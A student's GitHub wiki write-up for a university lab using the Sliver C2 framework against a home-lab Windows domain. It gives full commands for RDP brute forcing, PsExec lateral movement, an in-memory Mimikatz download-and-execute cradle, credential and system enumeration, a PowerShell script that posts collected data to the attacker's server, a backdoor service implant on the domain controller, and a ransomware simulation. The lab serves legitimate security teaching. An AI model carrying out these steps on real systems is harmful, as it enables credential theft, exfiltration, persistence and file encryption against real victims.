Sliver C2 ‐ Lab 2 - jacobwilliams100/sec-440 GitHub Wiki

In this continuation of (Sliver C2 - Lab 1) we will be simulating lateral movement, execution, exfiltration, and impact tactics often seen in real-world scenarios.

Task #0 - Install and Configure Sysmon

On wks1...

image

image

There is now a Sysmon event in Event Viewer

image

Deliverable #1 - Show proof of Sysmon running on your system and the log files are accessible through Windows Event Viewer.

image

Task #1 – Lateral Movement

1.1 RDP Brute Force

Creating two simple text files containing usernames and passwords. Make sure that the user names that you use contain one of the users you have created in your domain. Also, make sure that they are using a simple password, such as “Passw0rd!” and make sure it is included in your passwords file

We start by creating two text files with usernames and passwords. Not all of them have to be real, but at least one should.

image

Now we install crowbar with sudo apt install crowbar

image

Now we will use it to brute-force the target Windows system. This command will run through the credentials in users.txt and passwords.txt until it finds a match that works. Make sure you enter your target machine's IP address. (and don't forget the subnet mask!)

crowbar -b rdp -s <ip-address> -U users.txt -C passwords.txt

Deliverable #2 - Submit proof of your crowbar results

image8)

As we can see, we it found access to the Administrator account using the @dm1nistrator password, as well as the jake account with the f1$h3000 password

Now we will do this with Hydra instead. It will do basically the same thing. Run hydra -L users.txt -P passwords.txt <ip-address> rdp

Deliverable #3 - Submit proof of your hydra results.

image

I added user jake as a RDP user in wks1 just so I could get more than one result to appear.

1.2. Simulating an Administrator RDP Login

We will be using Remote Desktop protocol to go into the domain and find the Administrator's password hashes.

We will be using the jake user credentials to do this:

  • username: jake
  • password: f1$h3000

xfreerdp will help us do this.

Let's use it to remote into AD01 with xfreerdp /u:jake /p:'f1$h3000' /w:1024 /h:768 /v:10.0.5.5:3389 (10.0.5.5. is the ip address)

NOTE: if you are having issues, try putting '' around the password, it appears that sometimes freerdp cannot read special characters properly without this.

NOTE: you may need to manually activate RDP on AD01 with Settings by going to Server Manager->Local Server->Remote Desktop, and jake must be a domain admin.

image

On login, you should see something like this:

image

enter Y and it should open the remote desktop window

image

Deliverable #4 - Submit proof of RDP access to your domain controller.

image

1.3 Basic Enumeration

From the sliver shell, we will run some commands to perform some basic enumeration and see who has admin privileges

run execute -o hostname to display the hostname

run execute -o Net localgroup administratorsto see who has admin privileges

image

We can also see the status of Windows Defender with execute -o powershell Get-MpComputerStatus

image

Notice, RealTimeProtectionEnabled is false because I turned it off earlier.

image

Deliverable #5 - Submit proof of your enumeration results.

Shown in the last 3 screenshots.

1.4. PsExec

First, on kali, we must download sysinternals suite from https://learn.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite

Move it to /var/www/html/files and unzip it

image

image

We will upload PSExec64.exe to sliver, renaming it ps.exe with ```upload /var/www/html/files/PsExec64.exe `C:\Users\Public\ps.exe````

image

Now, on wks01 (the victim system), open command prompt, chang directory to C:\Users\Public and run PSexec.exe at the domain level by running .ps.exe -accepteula \\ad01.jake.local -u jake -i -s cmd.exe

use the password from earlier when prompted, if successful it should look like this:

Deliverable #6 - Submit proof of successfully running CMD on the victim's system

image

1.5. Mimikatz

Here, we will simulate the usage of Mimikatz. Back on kali, we will clone Mimikatz with git clone https://github.com/g4uss47/Invoke-Mimikatz

image

Next, we must copy Invoke-Mimikatz.ps1 to the webserver file directory with sudo cp Invoke-Mimikatz/Invoke-Mimikatz.ps1 /var/www/html/files

image

Now back on the sliver client (with the open session to wks01), run shell to start a shell

image

From this shell, we will use Method #1, running Mimikatz directly from memory.

First run (New-Object System.Net.WebClient).DownloadString('http://10.0.5.110/files/Invoke-Mimikatz.ps1') | IEX (make sure to swap this IP out for your own kali VM's IP)

Then run ```Invoke-Mimikatz -Command "sekurlsa::logonpasswords"

image

It will take a minute to load, but you should eventually get output like this:

image

If you scroll through this list, you will see that Mimikatz has has extracted passwords and hashes for accounts on the system. That is cool, but also scary!

image

image

Deliverable #7 - Submit proof of successfully running Mimikatz.

See last 3 screenshots.

Task #2 – Execution, Exfiltration, and Impact

We will perform a simple exfiltration task to get data out of wks01 and back onto the kali VM

exit the shell and run these commands from the session context:

execute -o Powershell.exe -nop -wind hidden -Exec Bypass "C:\Windows\SysWOW64\cmd.exe"

execute -o net user /add user2 'Passw0rd!'

execute -o net user /add user1 'Passw0rd!'

image

Now go back into shell

and run each of the following commands. We will be filling C:\Users\Public\Documents\info.txt with all kinds of useful info about the computer.

Get-WinEvent -ListLog * >> C:\Users\Public\Documents\info.txt

systeminfo | findstr /B /C:"OS Name" /C:"OS Version" >> C:\Users\Public\Documents\info.txt

ipconfig /all >> C:\Users\Public\Documents\info.txt

wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows" >> C:\Users\Public\Documents\info.txt

Schtasks /query /fo LIST /v >> C:\Users\Public\Documents\info.txt

route PRINT >> C:\Users\Public\Documents\info.txt

arp -a >> C:\Users\Public\Documents\info.txt

netstat -ano >> C:\Users\Public\Documents\info.txt

netsh firewall show state >> C:\Users\Public\Documents\info.txt

reg query HKLM /f password /t REG_SZ /s >> C:\Users\Public\Documents\info.txt

([System.Net.Dns]::GetHostByName(($env:computerName))).Hostname >> C:\Users\Public\Documents\info.txt

(Get-WmiObject Win32_ComputerSystem).Domain >> C:\Users\Public\Documents\info.txt

$Domain=(Get-WmiObject Win32_ComputerSystem).Domain

Resolve-DNSName -type All -name $Domain >> C:\Users\Public\Documents\info.txt

image

NOTE: the last command kept failing for some reason, and I couldn't figure out why. I ended up going into the VM and completing this specific command manually. Not ideal, but I wanted it in info.txt for completeness' sake.

image

Deliverable #8 - Submit proof of successfully running different execution commands on your victim’s system.

See last two screenshots.

2.2. Exfiltration

Back on kali, create a file /home/champuser/Public/upload.ps1

image

This is a script that will help us exfiltrate all the data we collected through the shell. add all of the following text:

# upload file with form-data to a URL using powershell
# this works with binary files, no conversion happens to the file
#
# this can be used to deploy files on Appveryor

$File='info.txt';
$FilePath = Get-Item -Path $File;
$URL = "http://<KALI_IP_ADDRESS>/upload.php";

$fileBytes = [System.IO.File]::ReadAllBytes($FilePath);
$fileEnc = [System.Text.Encoding]::GetEncoding('iso-8859-1').GetString($fileBytes);
$boundary = [System.Guid]::NewGuid().ToString(); 
$EOL = "`r`n";

$bodyLines = ( 
    "--$boundary",
    "Content-Disposition: form-data; name=`"file`"; filename=`"$File`"",
    "Content-Type: application/octet-stream",
    "",
    $fileEnc,
    "--$boundary",
    "Content-Disposition: form-data; name=`"filename`"",
    "",
    $File,
    "--$boundary",
    "Content-Disposition: form-data; name=`"apikey`"",
    "",
    "abcd",
    "--$boundary--",
    "" 
) -join $EOL

Invoke-RestMethod -Uri $URL -Method Post -ContentType "multipart/form-data; boundary=`"$boundary`"" -Body $bodyLines

Make sure you add your own IP address here:

image

Now download upload.php from here: https://drive.google.com/file/d/1tc0ri-kCPZn8LfebVyIQLgaTjJo3pb9o/view

image

move it to /var/www/html

image

Back in the sliver-client session, upload upload.ps1 to wks01 with upload '/home/champuser/Public/upload.ps1' 'C:\Users\Public\Documents\up.ps1'

image

start the shell back up, and run cd C:\Users\Public\Documents to get to the directory of info.txt

image

And do dir to confirm current directory contents

image

Lastly, do .\up.ps1 to run the exfiltration script!

NOTE: This did not immediately work. I needed to unrestrict my Windows Execution policy with Set-ExecutionPolicy Unrestricted to run the script, and I needed to replace my python HTTP server with a standard Apache server to get it to accept POST method requests, and then I needed to create a directory at /var/www/html/uploads

image

image

image

Error log that gave me the clue on why it was failing:

image

Creating an open-to-everyone directory at /var/www/html/uploads

image

Success!

image

Deliverable #9 - Submit proof of successfully uploading the info.txt file to your Kali System.

image

image

image

The file is huge because I put the output of every command in the list in. There is a lot to parse but this could be very useful.

2.3. Impact by Deploying a Backdoor

We will be deploying a Windows Service as a backdoor on AD01.

First, we generate a Windows service as an implant with profiles new --format service --skip-symbols --mtls 10.0.5.110 win-service

We will be deploying this attack from wks01 so you must have a session with a domain administrator on wks01 to authenticate to ad01

We generate an infected windows service with profiles new --format service --skip-symbols --mtls 10.0.5.110 win-service (if you're in a session, you need to leave it first) (also, use your own sliver-server's ip instead of this one)

Go back into the session, and run psexec -b C:\\Windows\\System32 -d 'Disk Scheduling Service' -s DskSch.exe -p win-service 10.0.5.5 to deploy the infected service to AD01 (10.0.5.5 is the IP of AD01)

image

Notice, when we do sessions we can see that there is a new session TRADITIONAL_PROFESSOR which this infected service generated

image

Deliverable #10 - Submit proof of successfully deploying a Windows Service as a backdoor.

image

We now have a SYSTEM account on the Domain Controller

Task #3 – Ransomware Simulation

We will be running ransomware on a target computer to simulate a ransomeware attack.

3.1. Prep

On wks01, Download LoadObfuscatedScript.ps1, RansomwareSim.ps1 and create-vsc.ps1 from https://drive.google.com/drive/folders/1RHfr9G1MUHoU5dngDKiJz8LhAynqP0ad?usp=sharing and https://github.com/ashemery/scripts

image

image

Next, we will use create-vsc.ps1 to generate a Volume Shadow Copy on your C: volume as a backup.

image

I was using create-vsc.ps1 script wrong at first, so I just created a shadow copy manually.

I started by changing some settings in Local Group Policy Editor to allow the creation of shadow copies

{900F5462-EF25-47EB-8363-EEEB5E15052C}

Then go to Explorer->Rclick This PC->System Protection, turn Protection On for Disc C, Then "Create" a Restore point

you should be able to see it now in powershell with vssadmin list shadows

{D86225BF-2BFE-4A73-A1F5-1C4E1B367879}

EDIT: I figured out how to run the script, so I will do this the correct way too. Run Powershell.exe -noexit -ExecutionPolicy Bypass -File .\LoadObfuscatedScript.ps1 .\create-vsc.ps1 PASSWORD (but replace PASSWORD with the "LoadScripts File" password from the top of the document)

{D37ADDA5-D235-4BAB-BB22-DAA55D81F92F}

Now we have a second shadow copy, created by script

{21935152-3656-4135-A8CF-FBCBA1E9B65F}

Deliverable #11 - Submit proof of successfully creating a Volume Shadow on your testing system.

{8C2E12E0-14A0-4094-B670-16A1C9C52BCC}

3.2. Impact "Dropping a Ransomware"

First, we load our ransomware module with .\LoadObfuscatedScript.ps1 ObfRansomSimulation1.ps1 PASSWORD (once again, switch PASSWORD for the one in the document)

{0EFB7E94-1C2B-4B18-8AF7-EBBCACD3C572}

Then run the ransomware on your user's documents folder with:

Encrypt-Directory -DirectoryPath C:\Users\<username>\Documents

{EB48253A-0B4E-44AC-AB4A-BB9B02C97A51}

If we check the folder, we can see that the soda.txt text file I create there has been encrypted and is unreadable.

{733A2B5F-C499-4056-BA12-5BFB14450892}

{650A8B21-D05D-45B5-A685-1A1D48D579ED}

We can decrypt it with Decrypt-Directory -DirectoryPath C:\Users\jake\Documents

When prompted, enter the Encryption Key (Base64) and Encryption IV (Base64) Values. You need to get these 100% right or else it will not decrypt

{697E455F-B5E9-4A9C-9133-6C21F02A3145}

soda.txt is now decrypted and readable again

{98D8B33B-C1CD-4043-B1CB-5EBB0EBEE223}

{5275B182-82BF-4A20-92D2-5646789801C8}

Deliverable #12 - Submit proof of successfully Encrypting and Decrypting files using the Ransomware Module.

See last 6 screenshots

Task #5 – Lessons Learned (Reflection)

I found this lab to be very instructive. I really enjoyed getting to learn such a broad range of intrusion tools alongside learning more about Sliver C2. Now that I have a basic understanding of intrusion tools, I feel that I have a better idea on how to keep networks and domains secure. My favorite part was using the backdoor service to create a SYSTEM sliver session to the domain controller. It felt like a semi-realistic example of using a foothold to strengthen a persistent threat on a system. I was also intrigued by Mimikatz' ability to retrieve credentials such as passwords and hashes, it seems like a very powerful tool for this reason.

I enjoyed the data collection and exfiltration part as well, although I encountered significant difficulty getting up1.ps1 to work properly. I had to replace my Python web server with an Apache installation to allow POST commands, I had to install PHP, and I had to create a new directory on the web server at /var/www/html/uploads for the exfiltrated files, but I got it to work. I think this particular section could use some more detailed directions. I had some trouble with the ransomware section as well, but it was entirely my own fault for not reading the instructions carefully enough. I did not realize that create-vsc.ps1 was an encrypted script and was not using the commands correctly with the password to run it.

⚠️ **GitHub.com Fallback** ⚠️